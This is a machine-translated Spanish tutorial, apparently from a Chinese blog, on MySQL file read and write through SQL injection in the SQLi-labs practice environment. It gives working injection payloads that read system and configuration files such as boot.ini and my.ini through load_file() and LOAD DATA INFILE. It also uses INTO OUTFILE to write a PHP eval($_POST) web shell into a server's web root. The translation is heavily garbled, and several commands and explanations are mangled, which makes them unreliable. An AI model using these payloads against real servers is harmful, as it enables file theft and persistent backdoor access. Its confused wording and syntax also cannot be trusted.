SQLI-laboratorios de fondo 3 MySQL explican la importación y exportación

1, load_file archivo de exportación ()

Load_file (nombre_archivo): leer el archivo y devolver el contenido del archivo como una cadena de caracteres.

Condiciones de uso:

A, debe tener el permiso para leer el archivo y debe ser leído por completo

y (select count (*) de mysql.user)> 0 / * Si el resultado se devuelve a la normalidad, lo que indica que leen y escriben permisos
y (select count (*) de mysql.user)> 0 / * devuelve un error, debe ser un administrador para por la cuenta de base de la derecha

B, el archivo debe ser leído en el servidor

C, debe especificar la ruta completa al archivo

D, el archivo para ser leído debe ser inferior a max_allowed_packet

Si el archivo no existe, o debido a una razón de cualquiera de los anteriores no se pueden leer, la función devuelve NULL. Es más difícil cumplir con la autoridad, bajo las ventanas, NTFS si se ha ajustado correctamente, no puede leer los documentos pertinentes, cuando se enfrentan con sólo los administradores pueden acceder al archivo, los usuarios deben ni siquiera piensan load_file a cabo. 

En la inyección real, tenemos dos problemas deben ser abordados: 

  • ruta física absoluta 
  • (Error de ráfaga ruta absoluta) Para construir una malformación declaración válida

En muchos programas PHP, al presentar una falsa consulta, si display_errors = encendido, el programa expondrá el directorio de ruta WEB absoluta, siempre y cuando se conoce la ruta, entonces para se puede inyectar un programa PHP, la seguridad de todo el servidor será serio amenaza.

Camino común: http://www.cnblogs.com/lcamry/p/5729087.html

Ejemplo: 
Seleccionar 1,2,3,4,5,6,7, hexagonal (Reemplazar (el load_file (char (99,58,92,119,105,110,100,111,119,115,92,114,101,112,97,105,114,92,115,97,109))) 
al explicar: usando hexagonal () contenidos del archivo resultó, en particular, puede ser utilizado cuando el archivo de SMB 

-1 SELECT Unión 1,1,1, la load_file (char (99,58,47,98,111,111,116,46,105,110,105)) 
del Explica: "char (99,58,47,98,111,111,116,46,105,110,105) "es" c: /boot.ini "código ASCII de 

-1 SELECT 1,1,1 Unión, la load_file (0x633a2f626f6f742e696e69) 
la Explicar:" c: /boot.ini "es hexadecimal" 0x633a2f626f6f742e696e69 " 

. -1 SELECT Unión 1 , 1,1, el load_file (C: \\ Boot.ini) 
la Explicar: camino Lane / \\ sustitución

 

2 archivos en la base de datos

CARGA instrucción DATA INFILE para una alta velocidad de lectura de una línea de archivo de texto, y una mesa de carga. nombre del archivo debe ser una cadena literal.

En el proceso de inyección, a menudo necesitamos algunos archivos especiales, tales como archivos de configuración, archivos de contraseñas. Cuando se tiene permisos para la base de datos, un sistema de archivos puede utilizar archivoentrada datos de carga en la base de datos.

Funciones específicas Descripción: Para los parámetros introducidos aquí no es demasiado en detalles, se puede consultar la documentación de MySQL. (Recordatorio: la documentación de referencia es de los mejores materiales de aprendizaje)

示例: datos de carga infile '/tmp/t0.txt' ignorar en los campos de juego de caracteres gbk t0 mesa terminados por '\ t' líneas que terminan por '\ n'

/Tmp/t0.txt en la tabla t0, el conjunto de caracteres del juego de caracteres gbk sea gbk, campos terminado por un delimitador entre cada elemento de los datos, líneas terminados por el extremo de una línea de carácter.

Cuando el código de error es de 2 momento en el que no existe el archivo, el código de error 13 cuando no hay autoridad, considere la carpeta / tmp y así sucesivamente.

TIPS: Vemos del mysql5.7 documento XML añade la función de carga, si todavía se puede utilizar para hacer la inyección también tiene que ser verificado.

 

3, en el archivo

语法: SELECT ..... 'nombre_archivo' INTO OUTFILE

Puede ser seleccionado fila por escrito en un archivo. El archivo se crea en el equipo servidor, por lo que debe tener el privilegio FILE para usar esta sintaxis. nombre_archivo no puede ser un archivo existente.

 

Generalmente usamos dos formas:

El contenido primera seleccionar directamente en el archivo:

Seleccionar versión () en archivo de salida "c: \\ phpnow \\ \\ htdocs prueba.php"

Aquí la versión () sustituido por una palabra, <? Php @eval ($ _POST [ "mima"])?> Eso

Seleccionar en archivo_salida <? Php @eval ($ _POST [ "mima"])?> "C: \\ phpnow \\ \\ htdocs prueba.php"

Conectado directamente a una palabra en ella, de hecho, no sólo se puede seleccionar el contenido para cargar una palabra, también puede cargar una gran cantidad de contenido.

 

El segundo extremo modificar el archivo:

Seleccionar versión () En archivo_salida "c: \\ phpnow \\ \\ htdocs prueba.php" LÍNEAS DE TERMINATED 0x16 进制 文件

Explicación: por lo general, al final, aquí modificamos cualquier archivo que desee usar '\ r \ n'. SUSPENDIDO POR mientras que usando los campos

hexadecimal 16 o puede ser cualquier otra palabra de código, la auto-configuración. En sqlmap en os-shell se toma de tal manera, referirse específicamente análisis OS-shell del artículo: http: //www.cnblogs.com/lcamry/p/5505110.html

 

CONSEJOS:

(1) puede presentar una vía de escape debe prestar atención a ellos, esto depende del entorno específico
(2) anterior, hablamos load_file (), pero cuando la emisora actual no puede exportar datos, podemos utilizar la siguiente declaración:

seleccionar load_file ( 'c: \\ wamp \\ bin \\ mysql \\ mysql5.6.17 \\ my.ini') en archivosalida 'c: \\ wamp \\ www \\ test.php'

Esta declaración se puede utilizar para importar el contenido en el servidor de directorio entre el servidor web para que los datos se pueden obtener. Hay introducción de la contraseña (pero por defecto anotado) por encima de my.ini que, por supuesto, habrá una gran cantidad de contenido se puede girar hacia fuera, esto se debe a la acumulación normal.

 

 

De: https://www.cnblogs.com/lcamry/p/5763111.html

Supongo que te gusta

Origin www.cnblogs.com/zhengna/p/12575925.html
Recomendado
Clasificación